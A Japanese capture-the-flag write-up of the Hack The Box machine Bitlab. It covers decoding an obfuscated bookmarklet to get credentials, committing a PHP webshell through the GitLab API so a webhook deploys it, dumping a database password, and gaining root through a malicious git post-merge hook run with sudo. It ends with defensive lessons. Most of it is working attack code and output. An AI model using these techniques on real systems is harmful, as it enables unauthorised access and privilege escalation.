Hack The BoxのWriteup(Bitlab)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Bitlab — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80 (GitLab CE)
/help/bookmarks.html
難読化ブックマークレット
GitLabログイン
clave:11des0081x
profile リポジトリへ
shell.php をマージdeployer Webhookが自動デプロイ
www-data RCE
PostgreSQL profiles表
claveのSSHパスワード
SSH clave
user.txt ✓
NOPASSWD sudo git pull
悪意あるpost-mergeフック
root.txt ✓

ポートスキャン

BASH
nmap -sV -sC -p 22,80 10.129.63.246
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    nginx
| http-title: Sign in · GitLab
|_Requested resource was http://10.129.63.246/users/sign_in
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
ℹ️
ポート80はGitLab CEのサインインページへリダイレクトする。robots.txtには GitLab標準の「クロールされたくないパス」が並んでおり、その中の /profile/help が後の調査で重要になる。
PHASE 2

難読化ブックマークレットからの資格情報漏洩

/help ディレクトリの発見

BASH
gobuster dir -w directory-list-2.3-medium.txt -u http://10.129.63.246/ -t 100 -s 200 -f
RESULT
/help/     (Status: 200)
/profile/  (Status: 200)
/search/   (Status: 200)
/public/   (Status: 200)
ℹ️
GitLabは未認証アクセスをすべてログインページへリダイレクトするため -s 200(200のみ表示)でフィルタする必要がある。 /profile/にアクセスすると、後述するデプロイ済みの “profile” プロジェクトのWebページ(Claveのプロフィール)がすでに 表示される — GitLab自身のプロフィール設定ページではない点に注意。

bookmarks.html からブックマークレットを発見

BASH
curl -s http://10.129.63.246/help/bookmarks.html
RESULT (抜粋)
<DT><A HREF="javascript:(function(){ var _0x4b18=[
"\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65",
"\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];
document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()">Gitlab Login</A>
🚨
“Gitlab Login” という名前のブラウザブックマークレットが仕込まれている。 中身はhexエスケープされた文字列配列を数値インデックスで参照する典型的な JS難読化。document[arr[2]](arr[1])[arr[0]] = arr[3]document.getElementById("user_login").value = "clave" と等価。

難読化コードをデコード

PYTHON
import re, json
arr_raw = '["\\x76\\x61\\x6C\\x75\\x65","\\x75\\x73\\x65\\x72\\x5F\\x6C\\x6F\\x67\\x69\\x6E",' \
          '"\\x67\\x65\\x74\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\\x42\\x79\\x49\\x64","\\x63\\x6C\\x61\\x76\\x65",' \
          '"\\x75\\x73\\x65\\x72\\x5F\\x70\\x61\\x73\\x73\\x77\\x6F\\x72\\x64","\\x31\\x31\\x64\\x65\\x73\\x30\\x30\\x38\\x31\\x78"]'
decoded = re.sub(r'\\\\x([0-9a-fA-F]{2})', lambda m: chr(int(m.group(1), 16)), arr_raw)
array = json.loads(decoded)
print(array)
# document[arr[2]](arr[1])[arr[0]] = arr[3]  ->  creds[array[1]] = array[3]
# document[arr[2]](arr[4])[arr[0]] = arr[5]  ->  creds[array[4]] = array[5]
print({"user_login": array[3], "user_password": array[5]})
RESULT
['value', 'user_login', 'getElementById', 'clave', 'user_password', '11des0081x']
{'user_login': 'clave', 'user_password': '11des0081x'}
GitLabログイン資格情報を取得: clave:11des0081x
PHASE 3

GitLabログイン & リポジトリ偵察

セッションCookieでログイン

PYTHON
import requests, re
sess = requests.Session()
r = sess.get("http://10.129.63.246/users/sign_in")
token = re.search(r'name="authenticity_token" value="([^"]+)"', r.text).group(1)
sess.post("http://10.129.63.246/users/sign_in", data={
    "user[login]": "clave", "user[password]": "11des0081x",
    "user[remember_me]": "0", "authenticity_token": token,
})
RESULT
ログイン成功 (dashboardへリダイレクト)
ℹ️
ログイン後、Administrator / Profile(Developer権限)と Administrator / Deployer(Reporter権限)の2リポジトリが見える。 Web IDEでスニペットを確認すると、PostgreSQL接続情報を含むPHPスクリプトが 公開されている(host=localhost dbname=profiles user=profiles password=profiles)。

deployer リポジトリのWebhook実装を確認

RESULT (deployer/index.php)
<?php
$input = file_get_contents("php://input");
$payload = json_decode($input);

$repo = $payload->project->name ?? '';
$event = $payload->event_type ?? '';
$state = $payload->object_attributes->state ?? '';
$branch = $payload->object_attributes->target_branch ?? '';

if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {
    echo shell_exec('cd ../profile/; sudo git pull'),"\n";
}
echo "OK\n";
🚨
決定的な発見: profileリポジトリの masterブランチへマージリクエストがマージされると、この Webhookがsudo git pullを自動実行し /var/www/html/profileへ即座にデプロイする (CI/CDのつもりで作られた設定不備)。任意のファイルをprofileリポジトリの masterへマージするだけで、Webサーバー上へ配置・実行できる。

重要な罠: GitLab自身の /profile 設定ページは恒久的に到達不能

BASH
curl -s -i http://10.129.63.246/profile/personal_access_tokens \
  -b "session cookie付き"
RESULT
HTTP/1.1 404 Not Found
Server: Apache/2.4.29
Content-Type: text/html; charset=iso-8859-1

<title>404 Not Found</title>
<p>The requested URL /profile/personal_access_tokens was not found on this server.</p>
🚨
重要な罠: レスポンスヘッダーが Server: nginx (GitLab側)ではなくServer: Apacheであることに注目。 profileリポジトリが常時/var/www/html/profileへ デプロイ済みの状態で稼働しており、別のApacheバックエンドが /profileパス配下”全体”を横取りして配信しているため、 GitLab自身のユーザー設定ページ(Personal Access Token発行画面を含む)は このボックスでは恒久的に到達不能/api/v4/...をPersonal Access Tokenで叩く定番の自動化手法は 使えない。
回避策: GitLabのフロントエンドJS自体が内部的に /api/v4/...を叩く際と同じ認証方式 — ログインセッションCookie + 任意の認証済みページから取得した CSRF token(<meta name="csrf-token">)を X-CSRF-Tokenヘッダーに付与 — を使えば、 Personal Access Tokenなしで/api/v4/...への ファイルコミット・マージリクエスト作成・マージがすべて可能。
PHASE 4

マージリクエスト経由 Webhook RCE → user.txt

shell.php をブランチ作成 → コミット → マージリクエスト → マージ

PYTHON
# CSRF token を認証済みページから取得
r = sess.get("http://10.129.63.246/root/profile")
csrf = re.search(r'<meta name="csrf-token" content="([^"]+)"', r.text).group(1)
headers = {"X-CSRF-Token": csrf}
project_id = 2  # profile

# 1) 新規ブランチへファイルをコミット
branch = f"add-shell-{int(time.time())}"
sess.post(f"http://10.129.63.246/api/v4/projects/{project_id}/repository/files/shell.php",
    json={"branch": branch, "start_branch": "master",
          "content": "<?php if(isset($_GET['cmd'])){system($_GET['cmd']);} ?>",
          "commit_message": "add helper script"},
    headers=headers)

# 2) マージリクエスト作成
r2 = sess.post(f"http://10.129.63.246/api/v4/projects/{project_id}/merge_requests",
    json={"source_branch": branch, "target_branch": "master",
          "title": "add helper script", "remove_source_branch": True},
    headers=headers)
mr_iid = r2.json()["iid"]

# 3) マージ (deployer Webhookが即座に発火)
sess.put(f"http://10.129.63.246/api/v4/projects/{project_id}/merge_requests/{mr_iid}/merge",
    headers=headers)
RESULT
file create: 201
MR create:   201 (iid=7)
merge:       200 (state: "merged")

webshell経由RCE確認

BASH
curl -s "http://10.129.63.246/profile/shell.php?cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE成功! マージ完了から数秒でdeployer Webhookが 自動的にsudo git pullを実行し、shell.phpがWebルートへ 反映された。

PostgreSQLからclaveのSSHパスワードを取得

BASH
PG_SCRIPT='<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
print_r(pg_fetch_all($result));
?>'
B64=$(echo "$PG_SCRIPT" | base64 -w0)
curl -s -G --data-urlencode "cmd=echo $B64 | base64 -d > /tmp/.bl_pg.php" \
  "http://10.129.63.246/profile/shell.php"
curl -s -G --data-urlencode "cmd=php -f /tmp/.bl_pg.php" \
  "http://10.129.63.246/profile/shell.php"
RESULT
Array
(
    [0] => Array
        (
            [id] => 1
            [username] => clave
            [password] => c3NoLXN0cjBuZy1wQHNz==
        )
)
ℹ️
PostgreSQLはDockerコンテナ内で稼働しclientバイナリが無いため、 webshell経由でpg_connect/pg_queryを使う PHPスクリプトを実行してデータを取り出す。値は c3NoLXN0cjBuZy1wQHNz==という一見base64風の文字列だが、 これ自体がそのままSSHログインパスワードとして機能する (末尾の==を含めてリテラルにそのまま使う)。

SSHログイン & user.txt取得

BASH
sshpass -p 'c3NoLXN0cjBuZy1wQHNz==' ssh clave@10.129.63.246 "id; cat ~/user.txt"
RESULT
uid=1000(clave) gid=1000(clave) groups=1000(clave)
a3c11917ae6a08799976e3421b29b356
user.txt — clave
a3c11917ae6a08799976e3421b29b356
PHASE 5

権限昇格の下調べ — NOPASSWD sudo git pull

www-data の sudo 権限確認

BASH
curl -s -G --data-urlencode "cmd=sudo -l" "http://10.129.63.246/profile/shell.php"
RESULT
Matching Defaults entries for www-data on bitlab:
    env_reset, exempt_group=sudo, mail_badpass, secure_path=...

User www-data may run the following commands on bitlab:
    (root) NOPASSWD: /usr/bin/git pull
🚨
決定的な発見: www-dataは任意のディレクトリで sudo git pullをパスワードなしでroot権限実行できる (カレントディレクトリの制限なし)。deployer Webhookがマージ時に まさにこのコマンドをshell_exec()していたことを思い出すと、これは 意図的に開けられた権限設定と分かる。
ℹ️
git pullにはユーザー制御可能なgitフック (.git/hooks/post-merge)を悪用する経路がある。 Webhookと同様、post-mergeフックはgit pull (内部的にgit mergeを伴う)が完了すると自動実行される。 sudo git pullで実行させれば、そのフックはroot権限で 動作する。
PHASE 6

悪意ある post-merge フック → root.txt

profileリポジトリを/tmpへコピーし悪意あるフックを設置

BASH
curl -s -G --data-urlencode \
  "cmd=rm -rf /tmp/.bl; mkdir -p /tmp/.bl; cp -r /var/www/html/profile /tmp/.bl/profile" \
  "http://10.129.63.246/profile/shell.php"

HOOK='#!/bin/bash
cp /root/root.txt /tmp/.bl_root 2>/dev/null
chmod 644 /tmp/.bl_root 2>/dev/null'
B64=$(echo "$HOOK" | base64 -w0)
curl -s -G --data-urlencode \
  "cmd=echo $B64 | base64 -d > /tmp/.bl/profile/.git/hooks/post-merge" \
  "http://10.129.63.246/profile/shell.php"
curl -s -G --data-urlencode "cmd=chmod +x /tmp/.bl/profile/.git/hooks/post-merge" \
  "http://10.129.63.246/profile/shell.php"
ℹ️
Webルート配下(/var/www/html/profile)を直接改変するのではなく /tmpへコピーしたリポジトリで作業する。こうすることで Webhook本体のsudo git pull(root権限)とは別に、 www-data自身のsudo git pull実行(このコピーに対して)を 独立して制御できる。post-mergeフックはroot.txtを世界読み取り可能な 一時ファイルへコピーするだけに留め、危険なリバースシェルは開かない (低リスクな抽出パターン)。

リモートmasterへ新規コミットをマージし pull 対象を作る

PYTHON
# Phase4と同じ手順でGitLab APIを使い、profileリポジトリのmasterへ
# 新規ファイルをマージし、リモートに新しいコミットを作る
# (ローカル/tmpコピーの HEAD より進んだコミットが無いと git pull が
#  fast-forward するものが無く、post-mergeフックが発火しないため必須)
branch = f"trigger-{int(time.time())}"
sess.post(f".../repository/files/root_trigger.txt",
    json={"branch": branch, "start_branch": "master",
          "content": "trigger\n", "commit_message": "trigger pull"}, headers=headers)
r8 = sess.post(f".../merge_requests",
    json={"source_branch": branch, "target_branch": "master",
          "title": "trigger pull", "remove_source_branch": True}, headers=headers)
mr_iid = r8.json()["iid"]
sess.put(f".../merge_requests/{mr_iid}/merge", headers=headers)
RESULT
file create: 201
MR create:   201 (iid=8)
merge:       200

sudo git pull → post-merge フックがroot権限で発火

BASH
curl -s -G --data-urlencode "cmd=cd /tmp/.bl/profile && sudo git pull 2>&1" \
  "http://10.129.63.246/profile/shell.php"
RESULT
From ssh://localhost:3022/root/profile
   838538f..3afc7d2  master     -> origin/master
Updating 838538f..3afc7d2
Fast-forward
 root_trigger.txt | 1 +
 1 file changed, 1 insertion(+)
 create mode 100644 root_trigger.txt
Fast-forwardマージが発生 = post-mergeフックが発火! sudo git pullはroot権限で実行されているため、フック内の cp /root/root.txt /tmp/.bl_rootもroot権限で動作する。

root.txt取得

BASH
curl -s -G --data-urlencode "cmd=cat /tmp/.bl_root" \
  "http://10.129.63.246/profile/shell.php"
RESULT
29251212ed55eda5ad780380b3279938
root.txt — root@bitlab
29251212ed55eda5ad780380b3279938
ℹ️
公式ウォークスルーの本筋は、clave のホームにある RemoteConnection.exe(Windows PEバイナリ)をGhidraで 静的解析し(GetUserNameWで”clave”と比較→一致時のみ ShellExecuteWでputty.exeを起動)、x32dbgで jnejeにパッチしてユーザー名チェックを バイパス、ShellExecuteWのブレークポイントでスタック上の 平文引数(-ssh root@gitlab.htb -pw "<password>")から rootパスワードを窃取する手法。GUIデバッガ操作が必要なため、本レポートは ウォークスルー内の”Alternate method”(sudo git pull + gitフック悪用)を 採用した。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — clave
a3c11917ae6a08799976e3421b29b356
root.txt — root@bitlab
29251212ed55eda5ad780380b3279938

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
難読化ブックマークレット資格情報漏洩 /help/bookmarks.html GitLabログイン資格情報の平文取得 High hexエスケープ+数値インデックス参照のJS難読化を解読しclave:11des0081xを取得
Webhook自動デプロイの設定不備 deployer/index.php (sudo git pull実行) リモートコード実行 (www-data) Critical Developer権限でprofileリポジトリへwebshellをマージ、Webhookが自動デプロイ
PostgreSQL平文パスワードの再利用 profiles DB (localhost:5432) 横展開 (www-data → clave) Medium スニペットで公開された接続情報でDBクエリ、claveのSSHパスワードを取得
NOPASSWD sudo git pull + gitフック悪用 /etc/sudoers (www-data) 権限昇格 (www-data → root) Critical 悪意あるpost-mergeフックを設置し、root権限のgit pullで発火させroot.txtを窃取

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22/80、GitLab CEサインインページ
2資格情報漏洩gobuster + ブックマークレット解読GitLabログイン clave:11des0081x
3GitLab偵察セッションログイン + リポジトリ調査deployer Webhookの脆弱性、/profileルート恒久遮断の発見
4Webhook RCEAPI(セッション+CSRF) マージ + PostgreSQLクエリuser.txt取得 (claveのSSHパスワード経由)
5権限調査sudo -lNOPASSWD sudo git pull を発見
6権限昇格悪意あるpost-mergeフック + sudo git pullroot.txt取得

学んだ教訓 & 防御策

問題点防御策
ブラウザブックマークにログイン資格情報を平文で埋め込んで公開ディレクトリに配置 資格情報をコード/設定/ブックマークへハードコードしない。共有端末・公開ディレクトリの 棚卸しを定期的に実施する。
マージリクエストのマージをトリガーに任意のシェルコマンドを実行するWebhookを、 入力検証なしで実装 Webhookのペイロード(プロジェクト名等)はユーザー制御可能な入力として扱い、 実行するコマンドを動的に組み立てない。CI/CDパイプラインは専用のサンドボックス環境で 実行する。
アプリケーションのDB接続情報がコードスニペットとして閲覧可能な場所に公開 接続情報はシークレットマネージャで管理し、リポジトリ・スニペットへ平文で 含めない。
sudoersでカレントディレクトリ制限なしにgit pullをNOPASSWD許可、 gitフックの実行を考慮していない sudoで許可するコマンドは絶対パス指定の対象ディレクトリを限定する (cd /specific/dir && git pullをラップするスクリプトのみ許可等)。 git設定でcore.hooksPathを信頼できる場所に固定する。
HackTheBox: Bitlab | 完全攻略レポート